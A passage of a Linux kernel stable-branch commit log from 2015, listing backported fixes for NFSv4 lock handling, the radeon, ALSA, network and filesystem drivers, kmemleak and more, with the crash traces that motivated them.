Stack: ffffffff8127c5b0 ffff8800791f7c18 ffffffffa0171e29 ffff8800791f7c58 ffffffffa0171ef8 ffff8800791f7c78 0000000000000246 ffff88001ea0ba00 ffff8800791f7c40 ffff8800791f7c40 00000000ff5d86a3 ffff8800791f7ca8 Call Trace: [] ? __posix_lock_file+0x40/0x760 [] ? rpc_make_runnable+0x99/0xa0 [sunrpc] [] ? rpc_wake_up_task_queue_locked.part.35+0xc8/0x250 [sunrpc] [] posix_lock_file_wait+0x4a/0x120 [] ? nfs41_wake_and_assign_slot+0x32/0x40 [nfsv4] [] ? nfs41_sequence_done+0xd8/0x2d0 [nfsv4] [] do_vfs_lock+0x2d/0x30 [nfsv4] [] nfs4_lock_done+0x1ad/0x210 [nfsv4] [] ? __rpc_sleep_on_priority+0x390/0x390 [sunrpc] [] ? __rpc_sleep_on_priority+0x390/0x390 [sunrpc] [] rpc_exit_task+0x2c/0xa0 [sunrpc] [] ? call_refreshresult+0x150/0x150 [sunrpc] [] __rpc_execute+0x90/0x460 [sunrpc] [] rpc_async_schedule+0x15/0x20 [sunrpc] [] process_one_work+0x1bb/0x410 [] worker_thread+0x53/0x480 [] ? process_one_work+0x410/0x410 [] ? process_one_work+0x410/0x410 [] kthread+0xd8/0xf0 [] ? kthread_worker_fn+0x180/0x180 [] ret_from_fork+0x42/0x70 [] ? kthread_worker_fn+0x180/0x180 Jean says: "Running locktests with a large number of iterations resulted in a client crash. The test run took a while and hasn't finished after close to 2 hours. The crash happened right after I gave up and killed the test (after 107m) with Ctrl+C." The crash happened because a NULL inode pointer got passed into locks_get_lock_context. The call chain indicates that file_inode(filp) returned NULL, which means that f_inode was NULL. Since that's zeroed out in __fput, that suggests that this filp pointer outlived the last reference. Looking at the code, that seems possible. We copy the struct file_lock that's passed in, but if the task is signalled at an inopportune time we can end up trying to use that file_lock in rpciod context after the process that requested it has already returned (and possibly put its filp reference). Fix this by taking an extra reference to the filp when we allocate the lock info, and put it in nfs4_lock_release. Reported-by: Jean Spector Signed-off-by: Jeff Layton Signed-off-by: Trond Myklebust Signed-off-by: Sasha Levin commit 1cfdc4477456476fe4a3b7c025deb6577acea2fa Author: Miklos Szeredi Date: Wed Jul 1 16:25:55 2015 +0200 fuse: initialize fc->release before calling it [ Upstream commit 0ad0b3255a08020eaf50e34ef0d6df5bdf5e09ed ] fc->release is called from fuse_conn_put() which was used in the error cleanup before fc->release was initialized. [Jeremiah Mahler : assign fc->release after calling fuse_conn_init(fc) instead of before.] Signed-off-by: Miklos Szeredi Fixes: a325f9b92273 ("fuse: update fuse_conn_init() and separate out fuse_conn_kill()") Cc: #v2.6.31+ Signed-off-by: Sasha Levin commit 3e3deab3acaf752c4de0daf0ec4cd8c47c3bab0e Author: Ilya Dryomov Date: Wed Jun 24 17:24:33 2015 +0300 rbd: use GFP_NOIO in rbd_obj_request_create() [ Upstream commit 5a60e87603c4c533492c515b7f62578189b03c9c ] rbd_obj_request_create() is called on the main I/O path, so we need to use GFP_NOIO to make sure allocation doesn't blow back on us. Not all callers need this, but I'm still hardcoding the flag inside rather than making it a parameter because a) this is going to stable, and b) those callers shouldn't really use rbd_obj_request_create() and will be fixed in the future. More memory allocation fixes will follow. Cc: stable@vger.kernel.org # 3.10+ Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Sasha Levin commit 5ac8dc120f4a11415a6619648ebabd8d7037c26d Author: Simon Guinot Date: Tue Jun 30 16:20:22 2015 +0200 net: mvneta: disable IP checksum with jumbo frames for Armada 370 [ Upstream commit b65657fc240ae6c1d2a1e62db9a0e61ac9631d7a ] The Ethernet controller found in the Armada 370, 380 and 385 SoCs don't support TCP/IP checksumming with frame sizes larger than 1600 bytes. This patch fixes the issue by disabling the features NETIF_F_IP_CSUM and NETIF_F_TSO for the Armada 370 and compatibles SoCs when the MTU is set to a value greater than 1600 bytes. Signed-off-by: Simon Guinot Fixes: c5aff18204da ("net: mvneta: driver for Marvell Armada 370/XP network unit") Cc: # v3.8+ Acked-by: Thomas Petazzoni Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit d5ced3d143593bf844f5d23fed9fd9d3fdb5b083 Author: Simon Guinot Date: Tue Jun 30 16:20:21 2015 +0200 ARM: mvebu: update Ethernet compatible string for Armada XP [ Upstream commit ea3b55fe83b5fcede82d183164b9d6831b26e33b ] This patch updates the Ethernet DT nodes for Armada XP SoCs with the compatible string "marvell,armada-xp-neta". Signed-off-by: Simon Guinot Fixes: 77916519cba3 ("arm: mvebu: Armada XP MV78230 has only three Ethernet interfaces") Cc: # v3.8+ Acked-by: Gregory CLEMENT Reviewed-by: Thomas Petazzoni Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 8b0a9f5b662f145031ba7d93d96fb40270f46ce7 Author: Simon Guinot Date: Tue Jun 30 16:20:20 2015 +0200 net: mvneta: introduce compatible string "marvell, armada-xp-neta" [ Upstream commit f522a975a8101895a85354b9c143f41b8248e71a ] The mvneta driver supports the Ethernet IP found in the Armada 370, XP, 380 and 385 SoCs. Since at least one more hardware feature is available for the Armada XP SoCs then a way to identify them is needed. This patch introduces a new compatible string "marvell,armada-xp-neta". Signed-off-by: Simon Guinot Fixes: c5aff18204da ("net: mvneta: driver for Marvell Armada 370/XP network unit") Cc: # v3.8+ Acked-by: Gregory CLEMENT Acked-by: Thomas Petazzoni Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 4a6adec5806200e6930ab433f588ab776839cdc6 Author: Jérôme Glisse Date: Fri Jun 19 10:32:16 2015 -0400 drm/radeon: SDMA fix hibernation (CI GPU family). [ Upstream commit 2ba8d1bb8f6b589037f7db1f01144fc80750e8f7 ] In order for hibernation to reliably work we need to properly turn off the SDMA block, sadly after numerous attemps i haven't not found proper sequence for clean and full shutdown. So simply reset both SDMA block, this makes hibernation works reliably on sea island GPU family (CI) Hibernation and suspend to ram were tested (several times) on : Bonaire Hawaii Mullins Kaveri Kabini Cc: stable@vger.kernel.org Signed-off-by: Jérôme Glisse Reviewed-by: Christian König Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit bce1845b11c968e5755dc0877fb765751f5870e3 Author: Jérôme Glisse Date: Fri Jun 19 10:32:15 2015 -0400 drm/radeon: compute ring fix hibernation (CI GPU family) v2. [ Upstream commit 161569deaa03cf3c00ed63352006193f250b0648 ] In order for hibernation to reliably work we need to cleanup more thoroughly the compute ring. Hibernation is different from suspend resume as when we resume from hibernation the hardware is first fully initialize by regular kernel then freeze callback happens (which correspond to a suspend inside the radeon kernel driver) and turn off each of the block. It turns out we were not cleanly shutting down the compute ring. This patch fix that. Hibernation and suspend to ram were tested (several times) on : Bonaire Hawaii Mullins Kaveri Kabini Changed since v1: - Factor the ring stop logic into a function taking ring as arg. Cc: stable@vger.kernel.org Signed-off-by: Jérôme Glisse Reviewed-by: Christian König Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 9b4244772af4abc8adc804f6184d566b9c2d6939 Author: Chris Wilson Date: Sun Jun 28 14:18:16 2015 +0100 agp/intel: Fix typo in needs_ilk_vtd_wa() [ Upstream commit 8b572a4200828b4e75cc22ed2f494b58d5372d65 ] In needs_ilk_vtd_wa(), we pass in the GPU device but compared it against the ids for the mobile GPU and the mobile host bridge. That latter is impossible and so likely was just a typo for the desktop GPU device id (which is also buggy). Fixes commit da88a5f7f7d434e2cde1b3e19d952e6d84533662 Author: Chris Wilson Date: Wed Feb 13 09:31:53 2013 +0000 drm/i915: Disable WC PTE updates to w/a buggy IOMMU on ILK Reported-by: Ting-Wei Lan Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=91127 References: https://bugzilla.freedesktop.org/show_bug.cgi?id=60391 Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: stable@vger.kernel.org Reviewed-by: Daniel Vetter Signed-off-by: Jani Nikula Signed-off-by: Sasha Levin commit 4ead27843b8ae7a2787214849af565a2cd04470d Author: Takashi Iwai Date: Mon Jun 29 08:38:02 2015 +0200 ALSA: hda - Fix the dock headphone output on Fujitsu Lifebook E780 [ Upstream commit 4df3fd1700abbb53bd874143dfd1f9ac9e7cbf4b ] Fujitsu Lifebook E780 sets the sequence number 0x0f to only only of the two headphones, thus the driver tries to assign another as the line-out, and this results in the inconsistent mapping between the created jack ctl and the actual I/O. Due to this, PulseAudio doesn't handle it properly and gets the silent output. The fix is to ignore the non-HP sequencer checks. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=99681 Cc: Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit b1afcca9f57738bb4d50257b01b4056a155a47a2 Author: Takashi Iwai Date: Sat Jun 27 10:21:13 2015 +0200 ALSA: hda - Add headset support to Acer Aspire V5 [ Upstream commit 7819717b11346b8a5420b223b46600e394049c66 ] Acer Aspire V5 with ALC282 codec needs the similar quirk like Dell laptops to support the headset mic. The headset mic pin is 0x19 and it's not exposed by BIOS, thus we need to fix the pincfg as well. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=96201 Cc: Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit 9d7754d5411c49d47846010ee85269b322c8ca3f Author: Damian Eppel Date: Fri Jun 26 15:23:04 2015 +0200 clocksource: exynos_mct: Avoid blocking calls in the cpu hotplug notifier [ Upstream commit 56a94f13919c0db5958611b388e1581b4852f3c9 ] Whilst testing cpu hotplug events on kernel configured with DEBUG_PREEMPT and DEBUG_ATOMIC_SLEEP we get following BUG message, caused by calling request_irq() and free_irq() in the context of hotplug notification (which is in this case atomic context). [ 40.785859] CPU1: Software reset [ 40.786660] BUG: sleeping function called from invalid context at mm/slub.c:1241 [ 40.786668] in_atomic(): 1, irqs_disabled(): 128, pid: 0, name: swapper/1 [ 40.786678] Preemption disabled at:[< (null)>] (null) [ 40.786681] [ 40.786692] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 3.19.0-rc4-00024-g7dca860 #36 [ 40.786698] Hardware name: SAMSUNG EXYNOS (Flattened Device Tree) [ 40.786728] [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [ 40.786747] [] (show_stack) from [] (dump_stack+0x70/0xbc) [ 40.786767] [] (dump_stack) from [] (kmem_cache_alloc+0xd8/0x170) [ 40.786785] [] (kmem_cache_alloc) from [] (request_threaded_irq+0x64/0x128) [ 40.786804] [] (request_threaded_irq) from [] (exynos4_local_timer_setup+0xc0/0x13c) [ 40.786820] [] (exynos4_local_timer_setup) from [] (exynos4_mct_cpu_notify+0x30/0xa8) [ 40.786838] [] (exynos4_mct_cpu_notify) from [] (notifier_call_chain+0x44/0x84) [ 40.786857] [] (notifier_call_chain) from [] (__cpu_notify+0x28/0x44) [ 40.786873] [] (__cpu_notify) from [] (secondary_start_kernel+0xec/0x150) [ 40.786886] [] (secondary_start_kernel) from [<40008764>] (0x40008764) Interrupts cannot be requested/freed in the CPU_STARTING/CPU_DYING notifications which run on the hotplugged cpu with interrupts and preemption disabled. To avoid the issue, request the interrupts for all possible cpus in the boot code. The interrupts are marked NO_AUTOENABLE to avoid a racy request_irq/disable_irq() sequence. The flag prevents the request_irq() code from enabling the interrupt immediately. The interrupt is then enabled in the CPU_STARTING notifier of the hotplugged cpu and again disabled with disable_irq_nosync() in the CPU_DYING notifier. [ tglx: Massaged changelog to match the patch ] Fixes: 7114cd749a12 ("clocksource: exynos_mct: use (request/free)_irq calls for local timer registration") Reported-by: Krzysztof Kozlowski Reviewed-by: Krzysztof Kozlowski Tested-by: Krzysztof Kozlowski Tested-by: Marcin Jabrzyk Signed-off-by: Damian Eppel Cc: m.szyprowski@samsung.com Cc: kyungmin.park@samsung.com Cc: daniel.lezcano@linaro.org Cc: kgene@kernel.org Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1435324984-7328-1-git-send-email-d.eppel@samsung.com Signed-off-by: Thomas Gleixner Cc: Signed-off-by: Sasha Levin commit 3341f6c128c0b265d61853f4b0368c6ddc0f1174 Author: Steven Rostedt (Red Hat) Date: Thu Jun 25 18:10:09 2015 -0400 tracing/filter: Do not allow infix to exceed end of string [ Upstream commit 6b88f44e161b9ee2a803e5b2b1fbcf4e20e8b980 ] While debugging a WARN_ON() for filtering, I found that it is possible for the filter string to be referenced after its end. With the filter: # echo '>' > /sys/kernel/debug/events/ext4/ext4_truncate_exit/filter The filter_parse() function can call infix_get_op() which calls infix_advance() that updates the infix filter pointers for the cnt and tail without checking if the filter is already at the end, which will put the cnt to zero and the tail beyond the end. The loop then calls infix_next() that has ps->infix.cnt--; return ps->infix.string[ps->infix.tail++]; The cnt will now be below zero, and the tail that is returned is already passed the end of the filter string. So far the allocation of the filter string usually has some buffer that is zeroed out, but if the filter string is of the exact size of the allocated buffer there's no guarantee that the charater after the nul terminating character will be zero. Luckily, only root can write to the filter. Cc: stable@vger.kernel.org # 2.6.33+ Signed-off-by: Steven Rostedt Signed-off-by: Sasha Levin commit 701f26a0e94b3908147f6a8475030abf4db8c6da Author: Michael Holzheu Date: Thu Jun 11 19:59:04 2015 +0200 s390/kdump: fix REGSET_VX_LOW vector register ELF notes [ Upstream commit 3c8e5105e759e7b2d88ea8a85b1285e535bc7500 ] The REGSET_VX_LOW ELF notes should contain the lower 64 bit halfes of the first sixteen 128 bit vector registers. Unfortunately currently we copy the upper halfes. Fix this and correctly copy the lower halfes. Fixes: a62bc0739253 ("s390/kdump: add support for vector extension") Cc: stable@vger.kernel.org # 3.18+ Signed-off-by: Michael Holzheu Signed-off-by: Martin Schwidefsky Signed-off-by: Sasha Levin commit b0634d40ef2428a629cdba0651bbb5a8fccfb8c3 Author: Alex Deucher Date: Wed Jun 24 14:37:18 2015 -0400 ALSA: hda - set proper caps for newer AMD hda audio in KB/KV [ Upstream commit 650474fb737c3e0ea0f6ab8e43c2cd161080ce5c ] Fixes audio problems on newer asics. Noticed by: Kelly Anderson Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit 0a243057346e5300a3f6dfa6c8172b9e82d2f263 Author: David Henningsson Date: Wed Jun 24 10:46:33 2015 +0200 ALSA: hda - Fix Dock Headphone on Thinkpad X250 seen as a Line Out [ Upstream commit ec56af67a10a0d82b79027878a81fce08d002d50 ] Thinkpad X250, when attached to a dock, has two headphone outs but no line out. Make sure we don't try to turn this into one headphone and one line out (since that disables the headphone amp on the dock). Alsa-info at http://www.alsa-project.org/db/?f=36f8764e1d782397928feec715d0ef90dfddd4c1 Cc: stable@vger.kernel.org Signed-off-by: David Henningsson Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit 8d83667e72ebc7e6b28780b082628eb2c1993dd7 Author: Larry Finger Date: Wed Jun 24 16:58:51 2015 -0700 mm: kmemleak_alloc_percpu() should follow the gfp from per_alloc() [ Upstream commit 8a8c35fadfaf55629a37ef1a8ead1b8fb32581d2 ] Beginning at commit d52d3997f843 ("ipv6: Create percpu rt6_info"), the following INFO splat is logged: =============================== [ INFO: suspicious RCU usage. ] 4.1.0-rc7-next-20150612 #1 Not tainted ------------------------------- kernel/sched/core.c:7318 Illegal context switch in RCU-bh read-side critical section! other info that might help us debug this: rcu_scheduler_active = 1, debug_locks = 0 3 locks held by systemd/1: #0: (rtnl_mutex){+.+.+.}, at: [] rtnetlink_rcv+0x1f/0x40 #1: (rcu_read_lock_bh){......}, at: [] ipv6_add_addr+0x62/0x540 #2: (addrconf_hash_lock){+...+.}, at: [] ipv6_add_addr+0x184/0x540 stack backtrace: CPU: 0 PID: 1 Comm: systemd Not tainted 4.1.0-rc7-next-20150612 #1 Hardware name: TOSHIBA TECRA A50-A/TECRA A50-A, BIOS Version 4.20 04/17/2014 Call Trace: dump_stack+0x4c/0x6e lockdep_rcu_suspicious+0xe7/0x120 ___might_sleep+0x1d5/0x1f0 __might_sleep+0x4d/0x90 kmem_cache_alloc+0x47/0x250 create_object+0x39/0x2e0 kmemleak_alloc_percpu+0x61/0xe0 pcpu_alloc+0x370/0x630 Additional backtrace lines are truncated. In addition, the above splat is followed by several "BUG: sleeping function called from invalid context at mm/slub.c:1268" outputs. As suggested by Martin KaFai Lau, these are the clue to the fix. Routine kmemleak_alloc_percpu() always uses GFP_KERNEL for its allocations, whereas it should follow the gfp from its callers. Reviewed-by: Catalin Marinas Reviewed-by: Kamalesh Babulal Acked-by: Martin KaFai Lau Signed-off-by: Larry Finger Cc: Martin KaFai Lau Cc: Catalin Marinas Cc: Tejun Heo Cc: Christoph Lameter Cc: [3.18+] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Sasha Levin commit 5310985291e86fed55d671ba39a13c4be6670d7c Author: Catalin Marinas Date: Wed Jun 24 16:58:26 2015 -0700 mm: kmemleak: allow safe memory scanning during kmemleak disabling [ Upstream commit c5f3b1a51a591c18c8b33983908e7fdda6ae417e ] The kmemleak scanning thread can run for minutes. Callbacks like kmemleak_free() are allowed during this time, the race being taken care of by the object->lock spinlock. Such lock also prevents a memory block from being freed or unmapped while it is being scanned by blocking the kmemleak_free() -> ... -> __delete_object() function until the lock is released in scan_object(). When a kmemleak error occurs (e.g. it fails to allocate its metadata), kmemleak_enabled is set and __delete_object() is no longer called on freed objects. If kmemleak_scan is running at the same time, kmemleak_free() no longer waits for the object scanning to complete, allowing the corresponding memory block to be freed or unmapped (in the case of vfree()). This leads to kmemleak_scan potentially triggering a page fault. This patch separates the kmemleak_free() enabling/disabling from the overall kmemleak_enabled nob so that we can defer the disabling of the object freeing tracking until the scanning thread completed. The kmemleak_free_part() is deliberately ignored by this patch since this is only called during boot before the scanning thread started. Signed-off-by: Catalin Marinas Reported-by: Vignesh Radhakrishnan Tested-by: Vignesh Radhakrishnan Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Sasha Levin commit e965e3a11b9ef79678a55fcad8a025e98acd2eee Author: Vineet Gupta Date: Thu Nov 20 15:42:09 2014 +0530 ARC: add smp barriers around atomics per Documentation/atomic_ops.txt [ Upstream commit 2576c28e3f623ed401db7e6197241865328620ef ] - arch_spin_lock/unlock were lacking the ACQUIRE/RELEASE barriers Since ARCv2 only provides load/load, store/store and all/all, we need the full barrier - LLOCK/SCOND based atomics, bitops, cmpxchg, which return modified values were lacking the explicit smp barriers. - Non LLOCK/SCOND varaints don't need the explicit barriers since that is implicity provided by the spin locks used to implement the critical section (the spin lock barriers in turn are also fixed in this commit as explained above Cc: Paul E. McKenney Cc: stable@vger.kernel.org Acked-by: Peter Zijlstra (Intel) Signed-off-by: Vineet Gupta Signed-off-by: Sasha Levin commit c71c24879ca909b3946988ca79ff2a2ce19e6bf4 Author: Vineet Gupta Date: Thu Nov 13 15:54:01 2014 +0530 ARC: add compiler barrier to LLSC based cmpxchg [ Upstream commit d57f727264f1425a94689bafc7e99e502cb135b5 ] When auditing cmpxchg call sites, Chuck noted that gcc was optimizing away some of the desired LDs. | do { | new = old = *ipi_data_ptr; | new |= 1U << msg; | } while (cmpxchg(ipi_data_ptr, old, new) != old); was generating to below | 8015cef8: ld r2,[r4,0] <-- First LD | 8015cefc: bset r1,r2,r1 | | 8015cf00: llock r3,[r4] <-- atomic op | 8015cf04: brne r3,r2,8015cf10 | 8015cf08: scond r1,[r4] | 8015cf0c: bnz 8015cf00 | | 8015cf10: brne r3,r2,8015cf00 <-- Branch doesn't go to orig LD Although this was fixed by adding a ACCESS_ONCE in this call site, it seems safer (for now at least) to add compiler barrier to LLSC based cmpxchg Reported-by: Chuck Jordan Cc: Acked-by: Peter Zijlstra (Intel) Signed-off-by: Vineet Gupta Signed-off-by: Sasha Levin commit 8e15f153b0adf2638ebbc89ff369e332f1b86d8a Author: Takashi Iwai Date: Thu Jun 25 00:35:16 2015 +0200 PM / sleep: Increase default DPM watchdog timeout to 60 [ Upstream commit fff3b16d2754a061a3549c4307a186423a0128fd ] Many harddisks (mostly WD ones) have firmware problems and take too long, more than 10 seconds, to resume from suspend. And this often exceeds the default DPM watchdog timeout (12 seconds), resulting in a kernel panic out of sudden. Since most distros just take the default as is, we should give a bit more safer value. This patch increases the default value from 12 seconds to one minute, which has been confirmed to be long enough for such problematic disks. Link: https://bugzilla.kernel.org/show_bug.cgi?id=91921 Fixes: 70fea60d888d (PM / Sleep: Detect device suspend/resume lockup and log event) Cc: 3.13+ # 3.13+ Signed-off-by: Takashi Iwai Signed-off-by: Rafael J. Wysocki Signed-off-by: Sasha Levin commit d89e99a31dfc45fc7b0f2d88ba158f0fdae8c64f Author: Alexey Brodkin Date: Wed Jun 24 11:47:41 2015 +0300 stmmac: troubleshoot unexpected bits in des0 & des1 [ Upstream commit f1590670ce069eefeb93916391a67643e6ad1630 ] Current implementation of descriptor init procedure only takes care about setting/clearing ownership flag in "des0"/"des1" fields while it is perfectly possible to get unexpected bits set because of the following factors: [1] On driver probe underlying memory allocated with dma_alloc_coherent() might not be zeroed and so it will be filled with garbage. [2] During driver operation some bits could be set by SD/MMC controller (for example error flags etc). And unexpected and/or randomly set flags in "des0"/"des1" fields may lead to unpredictable behavior of GMAC DMA block. This change addresses both items above with: [1] Use of dma_zalloc_coherent() instead of simple dma_alloc_coherent() to make sure allocated memory is zeroed. That shouldn't affect performance because this allocation only happens once on driver probe. [2] Do explicit zeroing of both "des0" and "des1" fields of all buffer descriptors during initialization of DMA transfer. And while at it fixed identation of dma_free_coherent() counterpart as well. Signed-off-by: Alexey Brodkin Cc: Giuseppe Cavallaro Cc: arc-linux-dev@synopsys.com Cc: linux-kernel@vger.kernel.org Cc: stable@vger.kernel.org Cc: David Miller Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit d42b6b4635df53180e781d392f6441744c34b62e Author: Jingoo Han Date: Thu Jun 18 00:12:27 2015 +0900 of/address: use atomic allocation in pci_register_io_range() [ Upstream commit 294240ffe784e951dc2ef070da04fa31ef6db3a0 ] When kzalloc() is called under spin_lock(), GFP_ATOMIC should be used to avoid sleeping allocation. The call tree is: of_pci_range_to_resource() --> pci_register_io_range() <-- takes spin_lock(&io_range_lock); --> kzalloc() Signed-off-by: Jingoo Han Cc: stable@vger.kernel.org # 3.18+ Signed-off-by: Rob Herring Signed-off-by: Sasha Levin commit b396bdb5f1e1692d38b2c2d11c67c7fc182546b7 Author: Eric W. Biederman Date: Fri Jun 19 14:03:39 2015 -0500 netfilter: nf_qeueue: Drop queue entries on nf_unregister_hook [ Upstream commit 8405a8fff3f8545c888a872d6e3c0c8eecd4d348 ] Add code to nf_unregister_hook to flush the nf_queue when a hook is unregistered. This guarantees that the pointer that the nf_queue code retains into the nf_hook list will remain valid while a packet is queued. I tested what would happen if we do not flush queued packets and was trivially able to obtain the oops below. All that was required was to stop the nf_queue listening process, to delete all of the nf_tables, and to awaken the nf_queue listening process. > BUG: unable to handle kernel paging request at 0000000100000001 > IP: [<0000000100000001>] 0x100000001 > PGD b9c35067 PUD 0 > Oops: 0010 [#1] SMP > Modules linked in: > CPU: 0 PID: 519 Comm: lt-nfqnl_test Not tainted > task: ffff8800b9c8c050 ti: ffff8800ba9d8000 task.ti: ffff8800ba9d8000 > RIP: 0010:[<0000000100000001>] [<0000000100000001>] 0x100000001 > RSP: 0018:ffff8800ba9dba40 EFLAGS: 00010a16 > RAX: ffff8800bab48a00 RBX: ffff8800ba9dba90 RCX: ffff8800ba9dba90 > RDX: ffff8800b9c10128 RSI: ffff8800ba940900 RDI: ffff8800bab48a00 > RBP: ffff8800b9c10128 R08: ffffffff82976660 R09: ffff8800ba9dbb28 > R10: dead000000100100 R11: dead000000200200 R12: ffff8800ba940900 > R13: ffffffff8313fd50 R14: ffff8800b9c95200 R15: 0000000000000000 > FS: 00007fb91fc34700(0000) GS:ffff8800bfa00000(0000) knlGS:0000000000000000 > CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 > CR2: 0000000100000001 CR3: 00000000babfb000 CR4: 00000000000007f0 > Stack: > ffffffff8206ab0f ffffffff82982240 ffff8800bab48a00 ffff8800b9c100a8 > ffff8800b9c10100 0000000000000001 ffff8800ba940900 ffff8800b9c10128 > ffffffff8206bd65 ffff8800bfb0d5e0 ffff8800bab48a00 0000000000014dc0 > Call Trace: > [] ? nf_iterate+0x4f/0xa0 > [] ? nf_reinject+0x125/0x190 > [] ? nfqnl_recv_verdict+0x255/0x360 > [] ? nla_parse+0x80/0xf0 > [] ? nfnetlink_rcv_msg+0x13c/0x240 > [] ? __memcg_kmem_get_cache+0x4c/0x150 > [] ? nfnl_lock+0x20/0x20 > [] ? netlink_rcv_skb+0xa9/0xc0 > [] ? netlink_unicast+0x12f/0x1c0 > [] ? netlink_sendmsg+0x28e/0x650 > [] ? sock_sendmsg+0x44/0x50 > [] ? ___sys_sendmsg+0x2ab/0x2c0 > [] ? __wake_up+0x43/0x70 > [] ? tty_write+0x1c4/0x2a0 > [] ? __sys_sendmsg+0x44/0x80 > [] ? system_call_fastpath+0x12/0x6a > Code: Bad RIP value. > RIP [<0000000100000001>] 0x100000001 > RSP > CR2: 0000000100000001 > ---[ end trace 08eb65d42362793f ]--- Cc: stable@vger.kernel.org Signed-off-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit d46c266ac221fcc2c9b5fb7496ac2967df23aca0 Author: Ralf Baechle Date: Fri Jun 19 00:46:53 2015 +0200 NET: ROSE: Don't dereference NULL neighbour pointer. [ Upstream commit d496f7842aada20c61e6044b3395383fa972872c ] A ROSE socket doesn't necessarily always have a neighbour pointer so check if the neighbour pointer is valid before dereferencing it. Signed-off-by: Ralf Baechle Tested-by: Bernard Pidoux Cc: stable@vger.kernel.org #2.6.11+ Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit c44ed568ae2ef49bb72d55c8a12e6ca19758b845 Author: Dave Airlie Date: Mon Jun 22 14:40:44 2015 +1000 drm/dp/mst: take lock around looking up the branch device on hpd irq [ Upstream commit 9eb1e57f564d4e6e10991402726cc83fe0b9172f ] If we are doing an MST transaction and we've gotten HPD and we lookup the device from the incoming msg, we should take the mgr lock around it, so that mst_primary and mstb->ports are valid. Reviewed-by: Daniel Vetter Cc: stable@vger.kernel.org Signed-off-by: Dave Airlie Signed-off-by: Sasha Levin commit 0e266aadab119ef07719c6ec92ed720027379bab Author: Daniel Vetter Date: Mon Jun 22 17:31:59 2015 +1000 drm/dp/mst: make sure mst_primary mstb is valid in work function [ Upstream commit 9254ec496a1dbdddeab50021a8138dc627a8166a ] This validates the mst_primary under the lock, and then calls into the check and send function. This makes the code a lot easier to understand the locking rules in. Signed-off-by: Daniel Vetter Reviewed-by: Daniel Vetter Cc: stable@vger.kernel.org Signed-off-by: Dave Airlie Signed-off-by: Sasha Levin commit 9b7da0c66a214292686d47666921be4798b508fc Author: Darrick J. Wong Date: Sun Jun 21 21:10:51 2015 -0400 ext4: don't retry file block mapping on bigalloc fs with non-extent file [ Upstream commit 292db1bc6c105d86111e858859456bcb11f90f91 ] ext4 isn't willing to map clusters to a non-extent file. Don't signal this with an out of space error, since the FS will retry the allocation (which didn't fail) forever. Instead, return EUCLEAN so that the operation will fail immediately all the way back to userspace. (The fix is either to run e2fsck -E bmap2extent, or to chattr +e the file.) Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit c56932bdfb4592bdf22c7633713a22997203d0c7 Author: Eric Sandeen Date: Mon Jun 22 09:42:48 2015 +1000 xfs: fix remote symlinks on V5/CRC filesystems [ Upstream commit 2ac56d3d4bd625450a54d4c3f9292d58f6b88232 ] If we create a CRC filesystem, mount it, and create a symlink with a path long enough that it can't live in the inode, we get a very strange result upon remount: # ls -l mnt total 4 lrwxrwxrwx. 1 root root 929 Jun 15 16:58 link -> XSLM XSLM is the V5 symlink block header magic (which happens to be followed by a NUL, so the string looks terminated). xfs_readlink_bmap() advanced cur_chunk by the size of the header for CRC filesystems, but never actually used that pointer; it kept reading from bp->b_addr, which is the start of the block, rather than the start of the symlink data after the header. Looks like this problem goes back to v3.10. Fixing this gets us reading the proper link target, again. Cc: stable@vger.kernel.org Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner Signed-off-by: Sasha Levin commit 19194bcaea1812960b0d3927f728b30f4a850581 Author: James Hogan Date: Mon Apr 27 15:07:16 2015 +0100 MIPS: Fix KVM guest fixmap address [ Upstream commit 8e748c8d09a9314eedb5c6367d9acfaacddcdc88 ] KVM guest kernels for trap & emulate run in user mode, with a modified set of kernel memory segments. However the fixmap address is still in the normal KSeg3 region at 0xfffe0000 regardless, causing problems when cache alias handling makes use of them when handling copy on write. Therefore define FIXADDR_TOP as 0x7ffe0000 in the guest kernel mapped region when CONFIG_KVM_GUEST is defined. Signed-off-by: James Hogan Cc: linux-mips@linux-mips.org Cc: # v3.10+ Patchwork: https://patchwork.linux-mips.org/patch/9887/ Signed-off-by: Ralf Baechle Signed-off-by: Sasha Levin commit a609b382970b68165c4e2d01f456bc7ed79ca96c Author: Theodore Ts'o Date: Sat Jun 20 22:50:33 2015 -0400 ext4: call sync_blockdev() before invalidate_bdev() in put_super() [ Upstream commit 89d96a6f8e6491f24fc8f99fd6ae66820e85c6c1 ] Normally all of the buffers will have been forced out to disk before we call invalidate_bdev(), but there will be some cases, where a file system operation was aborted due to an ext4_error(), where there may still be some dirty buffers in the buffer cache for the device. So try to force them out to memory before calling invalidate_bdev(). This fixes a warning triggered by generic/081: WARNING: CPU: 1 PID: 3473 at /usr/projects/linux/ext4/fs/block_dev.c:56 __blkdev_put+0xb5/0x16f() Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 23e190ff4438d82c47b7f3f6972cf592ac2c5915 Author: Will Deacon Date: Fri Jun 19 